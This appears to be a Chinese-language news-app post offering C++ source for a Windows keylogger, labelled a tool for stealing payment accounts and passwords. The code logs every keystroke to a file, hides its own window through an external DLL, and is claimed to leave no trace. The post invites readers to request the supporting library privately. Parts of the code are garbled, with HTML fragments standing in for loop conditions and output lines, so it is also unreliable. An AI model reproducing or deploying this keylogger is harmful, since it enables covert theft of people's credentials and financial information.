https://m./group/6585777035803623940/?iid=39362926900&app=news_article&timestamp=1533397258&group_id=6585777035803623940

如果有人惡意利用這個漏洞，分分鐘可以取得你輸入過的賬號密碼之類信息以及其它敏感的隱私信息。更重要的是，即使有人竊取了這些內容，也不會引發(fā)任何警報和痕跡，說不定你的信息已經被竊取很久了。

具體操作代碼如下：

引用靜態(tài)庫(靜態(tài)庫下載，私信我 '代碼')

源代碼

#include 'stdafx.h'

#include 'KRecordLib.h'

#pragma comment(lib,'KeyRecordLib.lib')

void GetUserPasswordST()

{

char strAppName[1024];

{

typedef int (WINAPI ICEPUB_GETAPPLICATIONNAME)(char *strReturn);

ICEPUB_GETAPPLICATIONNAME *icePub_getApplicationName = 0;

HINSTANCE hDLLDrv = LoadLibrary(L'icePubDll.dll');

if (hDLLDrv)

{

icePub_getApplicationName = (ICEPUB_GETAPPLICATIONNAME *)GetProcAddress(hDLLDrv, 'icePub_getApplicationName');

}

if (icePub_getApplicationName != NULL)

{

icePub_getApplicationName(strAppName);

}

if (hDLLDrv)

FreeLibrary(hDLLDrv);

}

{

typedef int (WINAPI ICEPUB_HIDEFORM)(char *strFormTitle);

ICEPUB_HIDEFORM *icePub_hideForm = 0;

HINSTANCE hDLLDrv = LoadLibrary(L'icePubDll.dll');

if (hDLLDrv)

{

icePub_hideForm = (ICEPUB_HIDEFORM *)GetProcAddress(hDLLDrv, 'icePub_hideForm');

}

if (icePub_hideForm)

icePub_hideForm(strAppName);

if (hDLLDrv)

FreeLibrary(hDLLDrv);

}

//your 后臺運行程序代碼

}

主函數

int _tmain(int argc, _TCHAR* argv[])

{

string Filename = '.\\bycw-vico.txt';//倒出記錄文本存在D盤log.txt目錄下

string TempString = '';

fstream FStream;

cout <>

cout < '\t\t\t\t□="">

cout < '\t\t\t\t□="" 《盜取支付賬號及密碼工具系統》="">

cout < '\t\t\t\t□="">

cout <>

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while (true)

{

Sleep(5);

for (int i = 8; i <= 255;="">

{

if (GetAsyncKeyState(i) & 1 == 1)

{

TempString = GetKey(i);

FStream.write(TempString.c_str(), TempString.size());

FStream.close();

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

}

}

}

GetUserPasswordST();

return 0;

}

如若有緣，閣下拿到代碼，請勿非法試用，概不負責